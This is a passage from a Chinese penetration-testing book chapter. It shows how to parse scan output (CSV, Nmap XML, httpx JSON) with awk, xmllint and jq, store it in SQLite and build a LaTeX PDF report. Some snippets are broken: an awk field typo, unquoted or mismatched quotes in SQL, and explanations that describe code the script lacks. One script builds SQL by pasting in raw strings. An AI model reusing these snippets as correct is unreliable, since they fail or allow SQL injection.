由于我们这里添加了一些新内容,让我们回顾一下这个解释:
-
AWK 模式是
awk 'pattern {** **action}' input_file。 -
模式是
$3 == 80 || $3 ==** **443。 -
操作是
{print $1 "," $2 "," $3}。 -
BEGIN代码打印 开放的 Web 服务器: 并在模式之前执行。 -
END代码打印 列表结束 并在操作之后执行。
让我们通过一个例子来看如何计算统计数据。假设我们有一个带有严重性级别的 vulnerability_scan.csv 文件:
IP,Vulnerability,Severity
192.168.1.1,SQL Injection,High
192.168.1.1,XSS,Medium
192.168.1.10,Outdated SSL,Low
192.168.1.20,Weak Password,High
192.168.1.30,Information Disclosure,Medium
这是如何按严重性统计漏洞的:
awk -F',' 'NR>1 {gsub(/\r/,""); if($3!="") count[$3]++} END {for (severity in count) print severity ": " count[severity]}' vulnerability_scan.csv
这是输出结果:
Low: 1
Medium: 2
High: 2
这是解释:
-
-F',':这个选项将字段分隔符设置为逗号。该选项告诉 awk 使用逗号作为分隔符来拆分每一行。 -
'...':单引号中包含了 awk 程序本身。 -
NR>1:这个条件检查当前记录(行)的编号是否大于 1。它有效地跳过了 CSV 文件的第一行(表头)。 -
{...}:这个块包含了针对每一行满足NR>1条件的主要处理逻辑。 -
gsub(/\r/,""):这个函数全局替换(gsub)所有的回车符(\r)为空字符串,有效地将其从行中移除。这有助于处理可能的 Windows 风格行结束符。 -
if($3!=""):这个条件检查第三个字段(严重性级别)是否为空。 -
count[$3]++:如果条件为true,则会增加第三个字段中找到的严重性级别的计数。它使用一个名为count的关联数组,严重性级别作为键。 -
END {...}:这个块指定在处理完所有行后要执行的操作。 -
for (severity in count):这个循环遍历count数组中存储的所有唯一严重性级别作为键。 -
print severity ": " count[severity]:对于每个严重性级别,它会打印严重性后跟一个冒号和空格,然后是出现次数。 -
vulnerability_scan.csv:这是 AWK 命令处理的输入文件。
总结一下,这条 AWK 命令读取 CSV 文件,跳过头部,移除回车符,计算每个非空严重性级别的出现次数,然后打印出这些计数的汇总。它设计时考虑了 Windows 行结束符和空字段等潜在问题,使其在处理实际的 CSV 数据时更加稳健。
在另一个例子中,我们可能需要合并多个文件。这里有另一个文件,asset_info.csv :
IP,Owner,Department
192.168.1.1,John,IT
192.168.1.10,Alice,Marketing
192.168.1.20,Bob,Finance
192.168.1.30,Carol,HR
我们可以将其与我们的漏洞数据结合使用:
$ awk -F',' 'NR==FNR {owner[$1]=$2; dept[$1]=$3; next}{print $11 "," $2 "," $3 "," owner[$1] "," dept[$1]}' asset_info.csv vulnerability_scan.csv
这是最终的输出:
IP,Vulnerability,Severity,Owner,Department
192.168.1.1,SQL Injection,High,John,IT
192.168.1.1,XSS,Medium,John,IT
192.168.1.10,Outdated SSL,Low,Alice,Marketing
192.168.1.20,Weak Password,High,Bob,Finance
192.168.1.30,Information Disclosure,Medium,Carol,HR
该脚本首先将asset_info.csv读取到内存中,然后处理vulnerability_scan.csv,为每一行添加所有者和部门信息。让我们来看一下这个解释:
-
-F',': 此选项将字段分隔符设置为逗号,适用于 CSV 文件。 -
NR==FNR: 此条件仅在处理第一个文件(asset_info.csv)时为真。NR是所有文件中的当前记录号,而FNR是当前文件中的记录号。 -
{owner[$1]=$2; dept[$1]=$3; next}: 该块在处理asset_info.csv时执行:-
owner[$1]=$2: 创建一个关联数组owner,其中键是第一个字段(资产 ID),值是第二个字段(所有者名称)。 -
dept[$1]=$3: 创建一个关联数组dept,其中键是第一个字段,值是第三个字段(部门名称)。 -
next: 跳过当前记录并继续执行脚本的下一条记录。
-
-
{print $1 "," $2 "," $3 "," owner[$1] "," dept[$1]}: 该块在处理vulnerability_scan.csv时执行:-
打印当前行的前三个字段,来自
vulnerability_scan.csv。 -
通过查找第一个字段(资产 ID)在
owner和dept数组中的信息,添加所有者和部门信息。
-
-
asset_info.csv vulnerability_scan.csv: 这些是输入文件。首先处理asset_info.csv,然后处理vulnerability_scan.csv。
这些示例展示了如何使用awk来处理和分析来自渗透测试活动的 CSV 数据。通过结合这些技巧,您可以创建强大的脚本来自动化数据解析和渗透测试结果的报告生成。
Bash 提供了几种可以用来解析 XML 数据的工具。我们将重点使用xmllint和xpath,这两个工具在 Linux 系统中通常是可用的。
首先,让我们来看一下我们的 Nmap XML 报告的结构。Nmap XML 文件可以在本章的 GitHub 仓库中找到,文件名为nmap.xml。以下是该文件的简化内容,展示了 XML 节点:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE nmaprun>
<nmaprun scanner="nmap" ...>
<scaninfo .../>
<verbose .../>
<debugging .../>
<host ...>
<status .../>
<address .../>
<hostnames>...</hostnames>
<ports>
<port ...>
<state .../>
<service .../>
<script .../>
</port>
... </ports>
... </host>
... </nmaprun>
让我们使用以下命令提取扫描结果中的所有 IP 地址:
$ xmllint --xpath "//host/address[@addrtype='ipv4']/@addr" nmap.xml
我强烈建议您在 GitHub 中打开nmap.xml文件,并在我们逐步讲解时,将其与以下解释进行对比。
该命令使用 XPath 选择所有host元素的子元素中,addrtype为ipv4的address元素的addr属性。了解了这些信息后,请回过头来再读一下 XML 数据,以查看这个 XML 结构。
这是解释:
-
//host: 选择文档中的所有host元素。 -
/address: 选择作为宿主元素直接子元素的地址元素。 -
[@addrtype='ipv4']: 这是一个谓词,用于过滤出addrtype属性等于ipv4的地址元素。 -
/@addr: 选择匹配的地址元素的addr属性。
输出可以在以下图中看到:
图 13.1 – Nmap XML 筛选器的输出
让我们使用来自 Nmap XML 数据的两个标准,创建一个更复杂的筛选器。我们将找到所有端口 80 开放且运行 Microsoft IIS 的主机。这将端口状态和服务信息进行筛选结合。
下面是我们如何操作的:
$ xmllint --xpath "//host[ports/port[@portid='80' and state/@state='open' and service/@product='Microsoft IIS httpd']]/address[@addrtype='ipv4']/@addr" nmap.xml
在这里,您可以看到前面命令的输出:
图 13.2 – 命令的输出
如您所见,这与将多个 XML 查询通过 and 连接起来一样简单。如果您想包含端口 80 或 443,则使用 or 关键字将它们分开。
接下来,让我们检查如何解析 JSON 数据。在这些示例中,我使用的是 ProjectDiscovery 的 mapcidr 和 httpx 工具。我的实验室网络的网络地址是 10.2.10.0/24。我运行以下命令来识别实验室网络上的 HTTP/S 服务器:
echo 10.2.10.0/24 | mapcidr -silent | httpx -silent -j > httpx.json
httpx.json 文件可以在本章的 GitHub 仓库目录中找到。
让我们看一下说明:
-
echo 10.2.10.0/24 |:这仅将10.2.10.0/24字符串传入管道(|),并抑制程序的横幅(-silent)。 -
mapcidr -silent |:这会将输入扩展为单独的 IP 地址,并将它们传入管道。 -
httpx -silent -j:这会将传入的 IP 地址作为stdin输入,指纹识别所有在默认端口上监听的 Web 服务器,并以 JSON 格式输出结果。
以下是此命令的简略输出:
{"timestamp":"2024-08-24T17:17:41.515583292-04:00","port":"80","url":"http://10.2.10.10","input":"10.2.10.10","title":"IIS Windows Server","scheme":"http","webserver":"Microsoft-IIS/10.0","content_type":"text/html","method":"GET","host":"10.2.10.10","path":"/","time":"91.271935ms","a":["10.2.10.10"],"tech":["IIS:10.0","Microsoft ASP.NET","Windows Server"],"words":27,"lines":32,"status_code":200,"content_length":703,"failed":false,"knowledgebase":{"PageType":"nonerror","pHash":0}}
在检查 JSON 数据结构时,您应该做的第一件事是通过将数据传递给 jq . 来查看层次结构。以下示例命令使用 JSON 输出文件中的所有数据,并以更易读的格式展示,以确定数据的结构:
cat httpx.json | jq .
此命令的简略输出可以在下图中看到:
图 13.3 – 来自 httpx 的 JSON 数据结构
以下脚本解析此 JSON 数据并逐行输出每个字段。让我们检查脚本中的每一行,学习如何解析 JSON 字段。此脚本可以在本章的 GitHub 仓库中找到,名为 ch13_parse_httpx.sh:
#!/usr/bin/env bash
# Function to parse a single JSON object
parse_json() {
local json="$1"
# Extract specific fields
local timestamp=$(echo "$json" | jq -r '.timestamp')
local url=$(echo "$json" | jq -r '.url')
local title=$(echo "$json" | jq -r '.title')
local webserver=$(echo "$json" | jq -r '.webserver')
local status_code=$(echo "$json" | jq -r '.status_code')
# Print extracted information
echo "Timestamp: $timestamp"
echo "URL: $url"
echo "Title: $title"
echo "Web Server: $webserver"
echo "Status Code: $status_code"
echo "---"
}
# Read JSON objects line by line
while IFS= read -r line; do
parse_json "$line"
done
输出如下图所示:
图 13.4 – 脚本 ch13_parse_httpx.sh 的输出
现在,让我们讨论如何将本课的内容适应任何 JSON 输出:
-
识别结构:首先,检查您的 JSON 输出,以了解其结构。查找您要提取的关键字段。
-
修改
**parse_json**函数:更新该函数以提取与您的 JSON 结构相关的字段。例如,如果您的 JSON 中有一个名为user_name的字段,您可以添加以下内容:local user_name=$(echo "$json" | jq -r '.user_name') -
修改
echo语句,以打印你提取的字段。如果你的 JSON 包含嵌套的对象或数组,你可以使用更复杂的jq查询。以下是一个示例:local first_tech=$(echo "$json" | jq -r '.tech[0]')
在查看前面的代码之前,先查看图 13.3并找到tech节点。使用.tech[0],我们选择并返回了数组中的第一个结果。如果你想返回所有数组结果,可以使用.tech[],这会返回整个数组。
以下是一些快速提示,帮助你使用jq解析嵌套的 JSON 数据:
-
对于嵌套对象,使用点符号:
.parent.child。 -
对于数组,使用括号:
.array[]。 -
将这些组合用于深度嵌套结构:
.parent.array[].child。
让我们通过示例扩展如何选择嵌套数据。在继续之前,请先查看以下 JSON 数据:
{
"parent": {
"name": "Family Tree",
"child": {
"name": "John",
"age": 10
},
"siblings": [
{
"child": {
"name": "Emma",
"age": 8
}
},
{
"child": {
"name": "Michael",
"age": 12
}
}
]
}
}
接下来,让我们查看一些针对这个嵌套结构的示例jq查询:
-
获取父节点名称:
jq '.parent.name'输出:
"** **Family Tree" -
获取直接子节点的名称:
jq '.parent.child.name'输出:
"John" -
获取所有兄弟节点名称(数组遍历):
jq '.parent.siblings[].child.name'输出:
"** **Emma" "Michael" -
获取所有直接子节点和兄弟节点的年龄:
jq '.parent.child.age, .parent.siblings[].child.age'输出:
10** **8 12
掌握了解析常见渗透测试工具报告格式所需的知识后,你已经为下一步做好准备。在接下来的章节中,你将学习如何将从渗透测试工具报告中解析的数据存储到 SQLite 数据库中。
使用 SQLite 存储和管理渗透测试数据
SQLite 是一个轻量级、无服务器的数据库引擎,提供了一种高效的方式来存储和管理在渗透测试过程中收集的数据。本节将探讨如何将 SQLite 与 Bash 脚本结合使用,创建一个用于组织和查询渗透测试结果的系统。
SQLite 为渗透测试人员提供了几个优势:
-
便携性:SQLite 数据库是自包含的文件,便于转移和备份。
-
无需设置:与完整的数据库服务器不同,SQLite 无需安装或配置。
-
高效查询:SQLite 支持 SQL,允许进行复杂的数据检索和分析。
-
语言集成:许多编程语言,包括通过命令行工具的 Bash,都可以与 SQLite 数据库进行交互。
本节将涵盖以下主题:
-
如何使用 Bash 命令创建 SQLite 数据库?
-
如何编写解析工具输出并将数据插入 SQLite 表格的脚本?
-
如何在 SQLite 数据库上运行查询以生成报告内容?
通过将 Bash 脚本与 SQLite 结合使用,渗透测试人员可以创建一个灵活而强大的系统来管理测试数据,并简化报告流程。
首先,让我们创建一个SQLite3数据库来存储我们的 Nmap 扫描结果。以下脚本可以在本章节的 GitHub 仓库中找到,文件名为ch13_create_db.sh:
#!/usr/bin/env bash
DB_NAME="pentest_results.db"
sqlite3 $DB_NAME <<EOF
CREATE TABLE IF NOT EXISTS nmap_scans (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip_address TEXT,
hostname TEXT,
port INTEGER,
protocol TEXT,
service TEXT,
version TEXT,
scan_date DATETIME DEFAULT CURRENT_TIMESTAMP,
vulnerability TEXT
);
EOF
这是解释:
-
首先,定义数据库名称为
pentest_results.db。 -
然后,它使用 heredoc(<<EOF)将 SQL 命令传递给
SQLite3。 -
接下来,它会创建一个名为
nmap_scans的表(如果表尚不存在的话)。 -
最后,它定义了 IP 地址、主机名、端口、协议、服务、版本、扫描日期和漏洞的列。
接下来,让我们创建一个脚本,接受 Nmap 扫描作为输入,并将结果插入到我们的数据库中。以下脚本可以在本章的 GitHub 代码库中找到,文件名为ch13_nmap_to_db.sh:
#!/usr/bin/env bash
DB_NAME="pentest_results.db"
xmlstarlet sel -t -m "//host" \
-v "address/@addr" -o "|" \
-v "hostnames/hostname/@name" -o "|" \
-m "ports/port" \
-v "@portid" -o "|" \
-v "@protocol" -o "|" \
-v "service/@name" -o "|" \
-v "service/@version" -n \
"$1" | while IFS='|' read -r ip hostname port protocol service version; do
sqlite3 $DB_NAME <<EOF
INSERT INTO nmap_scans (ip_address, hostname, port, protocol, service, version)
VALUES ('$ip', '$hostname', '$port', '$protocol', '$service', '$version');
EOF
done
执行脚本如下:
$ ./ch13_nmap_to_db.sh nmap.xml
当脚本执行完毕,它会在终端打印数据导入完成。
让我们来看一下这个解释:
-
DB_NAME变量定义了数据库的名称。 -
它使用
xmlstarlet解析 XML 格式的 Nmap 报告,提取相关信息。 -
它然后使用
|作为分隔符格式化提取的数据。 -
使用
while循环按行读取格式化后的数据。 -
对于每一行,它使用
sqlite3将数据插入到nmap_scans表中。
你可能已经注意到,我们的数据库中有一个vulnerability字段,但我们并没有向这个字段插入任何数据,因为我们仅仅是在填充来自 Nmap 扫描的数据。
要在nmap_scans表中更新现有记录,添加之前为 NULL 的漏洞信息,你可以使用 SQL 的 UPDATE 语句。以下是使用 Bash 和 Sqlite3 命令行工具的实现方法:
$ sqlite3 pentest_results.db "UPDATE nmap_scans SET vulnerability = 'VULNERABILITY_DESCRIPTION' WHERE ip_address = 'IP_ADDRESS' AND port = PORT_NUMBER AND vulnerability IS NULL;"
用你的实际数据替换占位符:
-
VULNERABILITY_DESCRIPTION:你想要添加的漏洞描述。 -
IP_ADDRESS:目标系统的 IP 地址。 -
PORT_NUMBER:发现漏洞的端口号。
例如,如果你想更新10.2.10.10 IP 地址的80端口记录,添加SQL 注入漏洞描述,你可以使用以下命令:
$ sqlite3 pentest_results.db "UPDATE nmap_scans SET vulnerability = 'SQL Injection vulnerability' WHERE ip_address = 10.2.10.10 AND port = 80 AND vulnerability IS NULL;"
此命令会更新与指定 IP 地址和端口匹配的记录中的漏洞字段,但前提是该漏洞字段当前为NULL。这可以确保你不会覆盖已有的漏洞描述。
如果你想无论NULL与否都更新漏洞信息,可以去掉AND vulnerability IS** **NULL条件:
$ sqlite3 pentest_results.db "UPDATE nmap_scans SET vulnerability = 'SQL Injection vulnerability' WHERE ip_address = 10.2.10.10' AND port = 80;"
现在我们已经有了数据库中的数据,让我们创建一个脚本来查询并显示结果。以下脚本可以在本章的 GitHub 代码库中找到,文件名为ch13_read_db.sh:
#!/usr/bin/env bash
DB_NAME="pentest_results.db"
# Function to truncate strings to a specified length
truncate() {
local str="$1"
local max_length="$2"
if [ ${#str} -gt $max_length ]; then
echo "${str:0:$max_length-3}..." else
printf "%-${max_length}s" "$str"
fi
}
# Print header
printf "%-15s | %-15s | %-5s | %-8s | %-15s | %-20s | %s\n" \
"IP Address" "Hostname" "Port" "Protocol" "Service" "Version" "Vulnerability"
printf "%s\n" "$(printf '=%.0s' {1..109})"
# Query and format the results
sqlite3 -separator "|" "$DB_NAME" "SELECT ip_address, hostname, port, protocol, service, version, vulnerability FROM nmap_scans ORDER BY ip_address, port;" |
while IFS='|' read -r ip hostname port protocol service version vulnerability; do
ip=$(truncate "$ip" 15)
hostname=$(truncate "$hostname" 15)
port=$(truncate "$port" 5)
protocol=$(truncate "$protocol" 8)
service=$(truncate "$service" 15)
version=$(truncate "$version" 20)
vulnerability=$(truncate "$vulnerability" 20)
printf "%-15s | %-15s | %-5s | %-8s | %-15s | %-20s | %s\n" \
"$ip" "$hostname" "$port" "$protocol" "$service" "$version" "$vulnerability"
done
echo "Query completed."
以下图显示了该脚本的输出结果:
图 13.5 – 数据库内容
这是对代码的解释:
-
DB_NAME="pentest_results.db"设置一个变量,存储数据库文件的名称。 -
定义了
truncate()函数。它接受两个参数:一个字符串和一个最大长度。它检查字符串是否超过最大长度。如果超过,它会截断字符串并在末尾添加...。如果没有,它会使用空格填充字符串,直到达到最大长度。这个函数有助于将输出格式化为适应固定宽度的列。 -
脚本接着打印出标题行。使用
printf格式化输出。%-15s表示将字符串左对齐,并将其填充为 15 个字符。|字符用于在视觉上分隔列。打印一行等号来将标题与数据分隔开。printf '=%.0s' {1..109}打印出 109 个等号。 -
脚本然后查询数据库。
sqlite3是与 SQLite 数据库进行交互的命令。-separator "|"告诉 SQLite 在输出中使用管道字符(|)来分隔列。SQL 查询从nmap_scans表中选择所有列,按 IP 地址和端口排序。 -
查询的输出被传递到一个
while循环中。IFS='|'设置内部字段分隔符为|,它告诉脚本如何将输入分割成各个字段。read -r读取一行输入并将其分割成变量。在循环内部,ip、hostname等每个字段都由truncate函数处理。这确保了每个字段都适合其指定的列宽。然后,使用printf打印格式化后的数据。这将在输出中创建整齐对齐的列。 -
循环结束后,
Query completed.被打印出来,表示脚本已完成运行。
该脚本从 SQLite 数据库中获取数据,并将其以整齐格式的表格呈现,使网络扫描结果更加易于阅读和分析。
通过使用这些脚本数据库并自动化运行 Nmap 扫描、将结果存储到 SQLite3 数据库中以及查询数据以供分析。该方法允许在渗透测试活动中高效地管理和检索数据。
在下一节中,您将学习如何从数据库中提取数据,并将其与报告工具集成。
将 Bash 与报告工具集成
撰写渗透测试报告是任何渗透测试过程中最重要也是最不受欢迎的部分。客户或系统所有者永远看不到你所做的工作。他们对你进行渗透测试表现如何的评价,取决于报告的质量。渗透测试员通常不喜欢写报告,因为它远没有爆破 shell那样有趣。
自动化数据规范化和报告生成可以显著提高报告质量,同时减少报告所花费的时间。本节提供了 Bash 工具和技术,用于简化报告过程。虽然不创建完整的渗透测试报告,但它提供了可以根据您的标准和工作流程调整的可适应示例。
本节将介绍 LaTeX 的基础知识,解释如何使用 Bash 与 SQLite3 数据库进行交互,并演示如何生成 PDF 报告。
LaTeX 是一个高质量的排版系统,旨在生成技术和科学文档。它在学术界和专业领域被广泛使用,用于创建格式一致、包含数学公式和交叉引用的复杂文档。
对于渗透测试人员来说,LaTeX 提供了几个优势:
-
在大文档中保持一致的格式
-
代码片段和命令输出的轻松集成
-
能够程序化生成专业外观的报告
-
支持复杂的表格和图形
让我们首先创建一个 Bash 脚本,用于查询我们的 SQLite3 数据库并格式化结果以便在 LaTeX 文档中使用。以下脚本可以在本章的 GitHub 仓库中找到,文件名为 ch13_generate_report.sh:
#!/usr/bin/env bash
DB_NAME="pentest_results.db"
# Function to query the database and format results
query_db() {
sqlite3 -header -csv $DB_NAME "$1"
}
# Get all unique IP addresses
ip_addresses=$(query_db "SELECT DISTINCT ip_address FROM nmap_scans;")
# Create LaTeX content
create_latex_content() {
echo "\\documentclass{article}"
echo "\\usepackage[margin=1in]{geometry}"
echo "\\usepackage{longtable}"
echo "\\usepackage{pdflscape}"
echo "\\begin{document}"
echo "\\title{Penetration Test Report}"
echo "\\author{Your Name}"
echo "\\maketitle"
echo "\\section{Scan Results}"
IFS=$'\n'
for ip in $ip_addresses; do
echo "\\subsection{IP Address: $ip}"
echo "\\begin{landscape}"
echo "\\begin{longtable}{|p{2cm}|p{2cm}|p{1.5cm}|p{1.5cm}|p{3cm}|p{3cm}|p{4cm}|}"
echo "\\hline"
echo "Hostname & IP & Port & Protocol & Service & Version & Vulnerability \\\\ \\hline"
echo "\\endfirsthead"
echo "\\hline"
echo "Hostname & IP & Port & Protocol & Service & Version & Vulnerability \\\\ \\hline"
echo "\\endhead"
query_db "SELECT hostname, ip_address, port, protocol, service, version, vulnerability
FROM nmap_scans
WHERE ip_address='$ip';" | sed 's/,/ \& /g; s/$/\\\\ \\hline/'
echo "\\end{longtable}"
echo "\\end{landscape}"
done
echo "\\end{document}"
}
# Generate LaTeX file
create_latex_content > pentest_report.tex
# Compile LaTeX to PDF
pdflatex pentest_report.tex
让我们看一下解释:
-
query_db(): 这个函数用于查询数据库。 -
sqlite3 -header -csv $DB_NAME "$1": 这个函数执行 SQLite 查询。它使用-header选项以包括列名,使用-csv选项以 CSV 格式输出。 -
escape_latex(): 这个函数转义特殊的 LaTeX 字符以防止编译错误。 -
ip_addresses=$(query_db "SELECT DISTINCT ip_address FROM nmap_scans WHERE vulnerability IS NOT NULL AND vulnerability != '';" | tail -n +2): 这个查询获取所有有漏洞的独特 IP 地址,跳过表头行。 -
create_latex_content(): 这个函数生成 LaTeX 文档结构。 -
for ip in $ip_addresses; do: 这个循环处理每个 IP 地址,为每个 IP 创建一个子章节。 -
query_db "SELECT hostname,… : 这个嵌套循环处理给定 IP 地址的每个漏洞,并将其格式化为 LaTeX 表格。
-
这些命令生成 LaTeX 文件并将其编译为 PDF:
-
create_latex_content >** **pentest_report.tex -
pdflatex -** **interaction=nonstopmode pentest_report.tex
-
若要生成渗透测试报告,只需运行 Bash 脚本:
$ chmod +x ch13_generate_report.sh
./generate_report.sh
这将会在当前目录下创建一个名为 pentest_report.pdf 的文件。
以下图展示了我们非常简单的渗透测试报告:
图 13.6 – 我们简单的渗透测试报告 PDF
您可以通过添加更多章节来进一步自定义您的报告,例如执行摘要或建议,包含图形或图表以可视化数据,使用 LaTeX 包对代码片段进行语法高亮。
例如,若要添加执行摘要,您可以修改 create_latex_content 函数:
create_latex_content() {
# ... (previous content)
echo "\\section{Executive Summary}"
echo "This penetration test was conducted to assess the security posture of the target network. The scan revealed multiple vulnerabilities across various systems, including outdated software versions and misconfigured services. Detailed findings are presented in the following sections." # ... (rest of the content)
}
本节探讨了使用 Bash 脚本来简化专业渗透测试报告创建的方法。内容包括将 Bash 与文档准备系统(如 LaTeX)结合使用,以生成精美的 PDF 报告。根据提供的方法调整以符合您的标准,从而简化报告过程。
摘要
本章重点介绍了使用 Bash 简化渗透测试报告阶段的过程。内容涵盖了自动化数据收集、组织发现结果和生成全面报告的技术。我们探讨了如何从工具输出中提取相关信息,解析和清理数据,并使用 SQLite 数据库高效存储数据。我们还讨论了如何将 Bash 脚本与报告工具如 LaTeX 集成,以创建专业的 PDF 报告。通过将 Bash 应用于这些任务,渗透测试人员可以显著减少生成报告所需的时间和精力,同时确保报告内容的准确性和一致性。
下一章将探讨在渗透测试过程中创建能够避开终端安全检测的 Bash 脚本的方法。